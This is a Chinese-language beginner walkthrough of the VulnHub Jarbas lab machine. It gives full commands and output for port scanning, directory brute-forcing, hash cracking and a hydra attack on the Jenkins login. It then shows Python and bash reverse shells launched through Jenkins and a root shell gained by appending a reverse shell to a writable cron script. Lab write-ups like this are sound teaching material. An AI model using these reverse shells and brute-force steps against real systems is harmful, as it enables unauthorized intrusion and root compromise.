vulnhub: Jarbas官方下载
难度:⭐
前言
作为初学者入门的第1台boot2root类型靶机,Jarbas涵盖了一些常见的渗透技巧,其攻击链包含了渗透过程中常见的代码执行漏洞、计划任务提权等流程,同时也不乏一些细节上的考量。
看完这篇文章,你将了解面对大型CMS时的渗透思路,包括常见的反弹shell方式和类型;获得系统初始立足点之后,习得一些系统基本信息枚举的方法,以及常见提权的思路。
侦察
nmap广域信息收集
nmap作为一款风靡全球、经久不衰的开源网络扫描器,本身具有及其丰富的功能,支持各种扫描选项,包括但不限于:设定扫描速率、进行不同探测目标的扫描(即详细信息)等,并且可以将扫描结果以txt、html、xml等格式进行输出。
打开kali终端,使用nmap
进行kali所在网段的主机发现
shell
sudo nmap -sn 10.10.10.0/24
在nmap扫描中,使用sudo
会进行更多的系统调用,就能使用更多的探测方法,从而提高探测的准确性和效率;-sn
这个选项告诉nmap仅进行主机发现,而不进行端口扫描或服务探测。即只检查目标IP是否活跃,而不关心目标主机上哪些端口是开放的或运行了哪些服务。这是一种快速且低调的扫描方式,因为它不会在目标主机上留下太多痕迹。
在我的kali中,扫描结果如下:(仅作参考)
nmap
┌──(rainbowpigger㉿kali)-[~]
└─$ sudo nmap -sn 10.10.10.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-22 11:52 EDT
Nmap scan report for 10.10.10.1
Host is up (0.00088s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 10.10.10.2
Host is up (0.00018s latency).
MAC Address: 00:50:56:F9:CD:83 (VMware)
Nmap scan report for 10.10.10.139
Host is up (0.00034s latency).
MAC Address: 00:0C:29:7D:34:C8 (VMware)
Nmap scan report for 10.10.10.254
Host is up (0.00021s latency).
MAC Address: 00:50:56:E7:AE:4F (VMware)
Nmap scan report for 10.10.10.128
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 14.98 seconds
其中,10.10.10.128
是本地kali的IP地址,10.10.10.1
是物理机的私网IP,10.10.10.2
为网关,10.10.10.254
为广播地址,10.10.10.139
即为我们的靶机IP。
使用nmap
进行TCP端口扫描
shell
sudo nmap -sS --min-rate 10000 -p- 10.10.10.139
-sS
选项即"半开放"扫描模式,执行SYN扫描,由于其无需完成TCP三次握手的完整过程,因此它相对较快且不会在目标主机上留下完整的连接记录,从而具有一定的隐蔽性;--min-rate 10000
指定发送数据包的最小速率为10000,即每秒最少发送10000个数据包,在国内外大佬打靶中普遍采用这个数值,但在实际攻防过程,10000这个数值偏高,会造成网络拥塞甚至目标机器崩溃,因此实战中慎用! -p
指定扫描端口,-
表示所有端口(65535个)。
扫描结果:(仅作参考)
nmap
┌──(rainbowpigger㉿kali)-[~]
└─$ sudo nmap -sS --min-rate 10000 -p- 10.10.10.139
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-22 11:57 EDT
Nmap scan report for 10.10.10.139
Host is up (0.00039s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
8080/tcp open http-proxy
MAC Address: 00:0C:29:7D:34:C8 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 19.41 seconds
扫描结果显示,开放端口:22、80、3306、8080,他们分别运行着ssh、http、mysql和http-proxy等服务
接着进行开放端口的详细信息扫描
shell
sudo nmap -A -p 22,80,3306,8080 10.10.10.139
-A
选项是-sV
和-O
的结合,即探测运行服务版本并进行操作系统检测,不指定端口类型时默认以TCP端口进行扫描
扫描结果(仅作参考):
nmap
┌──(rainbowpigger㉿kali)-[~]
└─$ sudo nmap -A -p 22,80,3306,8080 10.10.10.139
[sudo] rainbowpigger 的密码:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-22 12:17 EDT
Nmap scan report for 10.10.10.139
Host is up (0.00060s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 28:bc:49:3c:6c:43:29:57:3c:b8:85:9a:6d:3c:16:3f (RSA)
| 256 a0:1b:90:2c:da:79:eb:8f:3b:14:de:bb:3f:d2:e7:3f (ECDSA)
|_ 256 57:72:08:54:b7:56:ff:c3:e6:16:6f:97:cf:ae:7f:76 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Jarbas - O Seu Mordomo Virtual!
| http-methods:
|_ Potentially risky methods: TRACE
3306/tcp open mysql MariaDB (unauthorized)
8080/tcp open http Jetty 9.4.z-SNAPSHOT
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
| http-robots.txt: 1 disallowed entry
|_/
MAC Address: 00:0C:29:7D:34:C8 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.60 ms 10.10.10.139
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.58 seconds
其中,ssh-hostkey
下为主机密钥指纹信息,在easy级打靶过程中基本不会用到;http-server-header
中显示web服务器和PHP版本,在80端口嗅探的时候可能派得上用场;http-title
显示站点名称;3306端口运行着mysql数据库;8080端口运行着Jetty服务,Jetty是基于JAVA的开源容器,说简单点儿,就是一个基于http协议的web服务器;再往后是OS版本,3.2-4.9应该是很低的了,目前linux内核大版本可以到6以上。
稍难一点儿的靶机还会做UDP扫描,不过在Jarbas这台easy级靶机上没有必要
80端口信息嗅探
80端口作为权重最大的板块,应当是我们重心与精力给予最多的一部分。在easy级靶机渗透过程中,80探测的优先级一般排在21、110、139、445之后。
打开浏览器,URL栏输入靶机IP,查看web主页
年代有点儿久远,看着有点儿像新葡京的UI
通过将光标悬停在超链接上,可以在页面左下角看到该链接跳转的页面,在如图所示的首页中,只有诸如10.10.10.139/#
这样的锚点和一些外部链接;检查一下搜索栏的交互性可以发现,并没有和数据库互通,这仅仅是一个模板,没有任何的动态页面。
当web首页搜索完毕后,就应该挖掘该网站根目录下还有没有其他文件和界面
使用gobuster
进行目录爆破
shell
sudo gobuster dir -u http://10.10.10.139/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,html,txt
gobuster有很多命令选项,这里使用dir
来进行目录枚举;-u
即--url
,参数值为目标URL;-w
即--wordlist
,参数值为使用的字典,这里使用的是gobuster的默认字典,在/usr/share/dirbuster/
目录下;-x
即--extension
,参数值为要枚举的文件名关键字,因为文件名一般都有扩展名,因此我们这里就使用扩展名作为关键字。
爆破结果(仅作参考):
gobuster
┌──(rainbowpigger㉿kali)-[~]
└─$ sudo gobuster dir -u http://10.10.10.139/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,html,txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.139/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,html,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html (Status: 403) [Size: 207]
/index.html (Status: 200) [Size: 32808]
/access.html (Status: 200) [Size: 359]
/.html (Status: 403) [Size: 207]
Progress: 882240 / 882244 (100.00%)
===============================================================
Finished
===============================================================
可以看到,http状态码为200的即为开放界面,index.html
应该就是刚才那个jenkins主页;Status为403说明存在该文件,但是无权限访问;access.html
不是web的常见文件,应该会有有价值的信息出现。
访问该页面,确实有一些我们感兴趣的内容
"凭据以一种安全的方式存储着!" 暗示了下面3条数据的敏感性。凭据通常格式为username:password
,观察图中的password,仅有数字和a-f的字母组成,并且长度为32位,极大概率是md5格式加密,使用在线网站进行md5解密
md5的解密可以用在线网站,例如:www.cmd5.com(行业翘楚,看主页就知道,不过需要收费)、www.hashes.com(成功率也相当高)、www.somd5.com(仅支持md5解密) 或者在kali中采用命令行方式进行解密,例如:
hashcat
、john
等知名工具
解密后password为:
pass.txt
italia99
vipsu
marianna
将用户名存放在user.txt
里,解密出的密码存放在pass.txt
中
其他端口的信息嗅探
当得到多组凭据时,我们就应该思考他们会用在哪个环境下,在哪个登陆界面会作为正确凭据进入系统;在复杂的靶机中往往会存在许多干扰信息,会有很多种选择摆在面前,当然,由于这是一台easy难度的靶机,所以没有这些顾虑。根据端口扫描的结果,靶机22端口开放了ssh服务,尝试一下远程登录。
由于有多组凭据,可以使用hydra
进行自动化操作
shell
hydra -L user.txt -P pass.txt ssh://10.10.10.139
hydra是一款及其强悍的暴力破解工具,更多命令选项及参数将在后续靶机精讲中进行详细剖析
返回的结果似乎没有看到任何进展,也就是说这并不是ssh登录的凭据,但这并不意味着我们这一步操作就没有用,在后续的高难度靶机中,类似的兔子洞比比皆是,一些关键性的尝试是尤其必要的。
尝试连接靶机的数据库
shell
mysql -h 10.10.10.139
终端显示没有足够的权限,也就是说靶机并没有授予其他IP远程访问的权限,那这条路显然是行不通的
访问8080端口,打开浏览器,URL栏中在IP地址后加上8080端口,访问主页,发现是jenkins的后台登录界面
任何可以与后端产生交互的地方都值得我们引起注意,如果我们没有得到凭据或者最先探测的不是80端口而是8080端口,可能我们会考虑检测有无sql注入或者XSS漏洞、弱口令等,但现在手握账号密码,就可以直接使用hydra
进行自动化操作
shell
hydra 10.10.10.139 http-post-form -s 8080 "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Jenkins-Crumb=820dc81c0730b970cdcd8b346ca26ef2&json=%7B%22j_username%22%3A+%221%22%2C+%22j_password%22%3A+%221%22%2C+%22remember_me%22%3A+false%2C+%22from%22%3A+%22%2F%22%2C+%22Jenkins-Crumb%22%3A+%22820dc81c0730b970cdcd8b346ca26ef2%22%7D&Submit=log+in:Invalid login information. Please try again." -L user.txt -P pass.txt
这里看着代码非常长,但其逻辑非常简单。鉴于登录平台是基于知名大型集成框架搭建的,当发送登录请求时,POST参数可能不只两个,此时可以借助BurpSuite抓包查看完整请求,主要看两点:1. 请求的目标路径,这里是/j_acegi_security_check
;2. 完整的POST参数,即j_password
、j_username
、from
、Jenkins-Crumb
、json
、Submit
,看着很多,但都可以从BP请求包中复制过来
另外,hydra的POST方式爆破有一定格式要求,首先必须加上http-post-form
标识,并且要写在[HOST]
后面;-s
指定端口;双引号内有2个冒号,第1部分为目标页面路径,第2部分指定所需要的参数,其中表单所需要的值用^USER^
(用户名)和^PASS^
(密码)变量表示,参数名即上述BP抓包得到的信息,第3部分为错误回显关键字;-L
指定用户名字典,-P
指定密码字典。
参考结果:
hydra
┌──(rainbowpigger㉿kali)-[~/jarbas]
└─$ hydra 10.10.10.139 http-post-form -s 8080 "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Jenkins-Crumb=820dc81c0730b970cdcd8b346ca26ef2&json=%7B%22j_username%22%3A+%221%22%2C+%22j_password%22%3A+%221%22%2C+%22remember_me%22%3A+false%2C+%22from%22%3A+%22%2F%22%2C+%22Jenkins-Crumb%22%3A+%22820dc81c0730b970cdcd8b346ca26ef2%22%7D&Submit=log+in:Invalid login information. Please try again." -L user.txt -P pass.txt
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-03-23 01:53:45
[DATA] max 9 tasks per 1 server, overall 9 tasks, 9 login tries (l:3/p:3), ~1 try per task
[DATA] attacking http-post-form://10.10.10.139:8080/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Jenkins-Crumb=820dc81c0730b970cdcd8b346ca26ef2&json=%7B%22j_username%22%3A+%221%22%2C+%22j_password%22%3A+%221%22%2C+%22remember_me%22%3A+false%2C+%22from%22%3A+%22%2F%22%2C+%22Jenkins-Crumb%22%3A+%22820dc81c0730b970cdcd8b346ca26ef2%22%7D&Submit=log+in:Invalid login information. Please try again.
[8080][http-post-form] host: 10.10.10.139 login: eder password: vipsu
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-03-23 01:53:46
得到正确登入后台的管理员凭据eder:vipsu
利用可执行语句构造反弹shell
进入管理后台,由于页面数量庞大、可执行操作巨多,因此我们需要给接下来的操作设立优先级。其中,优先级最高的是可交互性执行页面,例如发布html文本、添加shell片段、可上传文件或图片等;其次是设置选项,其中包含了限制性及可利用选项。就本台靶机而言,由于版本较老,因此暴露出的攻击面比较多,在此介绍两种反弹shell的方式。
法一:
在 系统管理 中,有一个 脚本命令行,可以进行基于groovy语法的命令交互,例如:
groovy
println('whoami'.execute().text)
点击运行,在页面下方有回显
既然存在命令交互,那就可以考虑构造反弹shell,毕竟仅仅依靠web端的命令驱动操作起来实属不方便。经过尝试,常见的bash一句话反弹语句和php语句均不能实现目的,只能利用python生成反弹shell。这个结论不是一蹴而就的,网络环境错综复杂,需要不断试错,找寻最佳策略。
由于前端存在一些字符的限制与歧义,可以通过本地创建文件、远程操控靶机获取文件的方式执行文件然后getshell
首先在本地创建python文件reverse_shell.py
,将准备好的payload放入其中(网上的许多payload都用不了,msf的也收效甚微),我从某博客平台上友好地取了一份:
reverse_shell.py
#!/usr/bin/python
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.10.128",1000));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
用php启动一个内置web服务器
shell
sudo php -S 0.0.0.0:80
sudo
用于在低于1024端口上启动服务;-S
启动内置web服务器;0.0.0.0:80
监听所有网络接口的80端口。启动web服务器后,就可以在靶机上获取本地文件。
groovy
println('curl -o /tmp/reverse_shell.py http://10.10.10.128/reverse_shell.py'.execute().text)
此处需要将文件下载到tmp目录下,不管是home还是var目录下都是没有权限的,可以通过touch /var/www/html/demo
进行验证。
当kali出现下列提示时说明传输成功
kali
┌──(rainbowpigger㉿kali)-[~/jarbas]
└─$ sudo php -S 0:80
[Sat Mar 23 04:40:32 2024] PHP 8.2.12 Development Server (http://0:80) started
[Sat Mar 23 04:41:21 2024] 10.10.10.139:39046 Accepted
[Sat Mar 23 04:41:21 2024] 10.10.10.139:39046 [200]: GET /reverse_shell.py
[Sat Mar 23 04:41:21 2024] 10.10.10.139:39046 Closing
此时python文件应该处在tmp目录下,赋予执行权限
groovy
println('chmod 777 /tmp/reverse_shell.py'.execute().text)
kali中使用nc
启动监听
shell
nc -lvp 1000
-p
指定监听端口;-v
开启详细模式(verbose);-l
即入站连接。本地监听的方式很固定,至少在easy阶段有一半的靶机都需要用到这句命令。(注:-p
需要作为最后一个选项)
web端远程执行文件
groovy
println('/tmp/reverse_shell.py'.execute().text)
kali中出现以下显示即反弹shell成功
kali
┌──(rainbowpigger㉿kali)-[~/jarbas]
└─$ nc -lvp 1000
listening on [any] 1000 ...
10.10.10.139: inverse host lookup failed: Unknown host
connect to [10.10.10.128] from (UNKNOWN) [10.10.10.139] 55908
sh: no job control in this shell
sh-4.2$
法二:
在 新建任务 中往往存在一些文本编辑的选项以及可利用代码,以第一个项目为例
点击"确定"进入项目配置界面,在配置界面中,可选操作非常多,这一步就是靠经验,否则就很费时间,一不仔细就可能错过很多关键信息。如果各位认真观察,就会在"构建"一栏发现 可执行shell
直接在交互框中写入bash的反弹语句即可
bash
bash -i >& /dev/tcp/10.10.10.128/1000 0>&1
点击"保存"后,语句并不会立即执行。在大多数的反弹shell靶机中,都需要进行额外的执行操作,譬如通过文件夹点击执行等方式。在此台靶机中,jenkins已经为我们准备好了"立即构建"选项
在"立即构建"之前,我们需要确保kali中已经开启了nc监听
shell
nc -lvp 1000
当kali中出现以下显示即表示反弹shell成功
kali
┌──(rainbowpigger㉿kali)-[~/jarbas]
└─$ nc -lvp 1000
listening on [any] 1000 ...
10.10.10.139: inverse host lookup failed: Unknown host
connect to [10.10.10.128] from (UNKNOWN) [10.10.10.139] 55910
bash: no job control in this shell
bash-4.2$
枚举
到这里,我们已经获得了系统初始立足点。首先检查当前用户信息,使用whoami
查看当前用户;使用id
查看当前用户id及其所属用户组,uid在1000以下一般为功能性账号,1000及以上的是分配有bash环境的真实用户
bash
bash-4.2$ whoami
whoami
jenkins
bash-4.2$ id
id
uid=997(jenkins) gid=995(jenkins) groups=995(jenkins) context=system_u:system_r:initrc_t:s0
然后检查系统基本状况,使用cat /proc/version
查看linux内核信息;用ip a
查看靶机IP及网卡相关信息
bash
bash-4.2$ cat /proc/version
cat /proc/version
Linux version 3.10.0-693.21.1.el7.x86_64 (builder@kbuilder.dev.centos.org) (gcc version 4.8.5 20150623 (Red Hat 4.8.5-16) (GCC) ) #1 SMP Wed Mar 7 19:03:37 UTC 2018
bash-4.2$ ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
link/ether 00:0c:29:7d:34:c8 brd ff:ff:ff:ff:ff:ff
inet 10.10.10.139/24 brd 10.10.10.255 scope global dynamic ens33
valid_lft 1282sec preferred_lft 1282sec
inet6 fe80::9114:a460:aa3:9dd5/64 scope link
valid_lft forever preferred_lft forever
看内核也可以用uname -a
,不过不及cat /proc/version
详细
使用sudo -l
尝试能否查看当前用户能以root权限执行的文件
bash
bash-4.2$ sudo -l
sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for jenkins:
需要密码,但因为我们是通过reverse的方式得到的shell,因此不知道该用户的凭据
如果使用
sudo -l
时系统提示没有tty,说明当前的shell等级太低,交互性不足,可采用以下方式解决
shellpython -c "import pty;pty.spawn('/bin/bash')"
python、python3均可
使用cat /etc/passwd
查看当前系统还存在哪些用户;使用ls -l /etc/shadow
看能否读到shadow文件,shadow文件以哈希值的形式存放着所有用户的密码,在/etc/passwd
文件中会以x
占位表示
盘点完系统基本状态信息,接下来就要琢磨如何提升为root权限,这也是初期打靶最大的难点之一。提权无非就3种思路,B站的红队笔记在这点上讲的十分透彻。本台靶机就利用了低权限修改、高权限执行的提权思想。
查看系统有无计划任务
bash
cat /etc/crontab
/etc/crontab
中包含了一系列定时任务,并且其具有相对严苛的语法规则。例如在如下的查看结果中
bash
bash-4.2$ cat /etc/crontab
cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
# For details see man 4 crontabs
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
*/5 * * * * root /etc/script/CleaningScript.sh >/dev/null 2>&1
第17行为计划任务,表示每5分钟以root身份执行/etc/script/CleaningScript.sh
文件,并将所有输出定向到/dev/null
中,相当于windows中的回收站,即扔掉所有该文件的输出内容;2>&1
表示将标准错误输出定向至标准输出,说人话就是不管是报错信息还是正常输出内容都扔到垃圾桶里。
看到这里我们就不难想到,以root身份执行的文件,其本身运行时的权限非常高,不管文件里是什么内容,统一都打上了root权限的标签,因此如果我们可以往文件中添加一些提升当前shell权限的命令,就可以达到提权的目的。
查看计划任务的执行文件
bash
bash-4.2$ cat /etc/script/CleaningScript.sh
cat /etc/script/CleaningScript.sh
#!/bin/bash
rm -rf /var/log/httpd/access_log.txt
CleaningScript.sh
中有哪些内容已经无关紧要,只要我们有可写的权限,就可以如法炮制,通过反弹rootshell的方式实现提权
写入一句话bash反弹语句
bash
echo 'bash -i >& /dev/tcp/10.10.10.128/999 0>&1' >> /etc/script/CleaningScript.sh
成功写入后的文件内容应该是这样的
bash
bash-4.2$ cat CleaningScript.sh
cat CleaningScript.sh
#!/bin/bash
rm -rf /var/log/httpd/access_log.txt
bash -i >& /dev/tcp/10.10.10.128/999 0>&1
本地启用nc监听999端口,等待最多5分钟即可收到rootshell
bash
┌──(rainbowpigger㉿kali)-[~/jarbas]
└─$ nc -lvp 999
listening on [any] 999 ...
10.10.10.139: inverse host lookup failed: Host name lookup failure
connect to [10.10.10.128] from (UNKNOWN) [10.10.10.139] 36566
bash: no job control in this shell
[root@jarbas ~]#
结语
这是本系列的首台靶机精讲,其中提到的以及未使用的一些知名工具我将会在后续靶机中为大家娓娓道来;面对相同的环境与困境,总会有不同的解决方案,我将在后续文章中持续剖析不同的打法思维与技巧。
如果各位读者有任何本台靶机相关的疑问或者有对本台靶机更好的见解,欢迎随时对我进行信息轰炸,我将竭诚回复!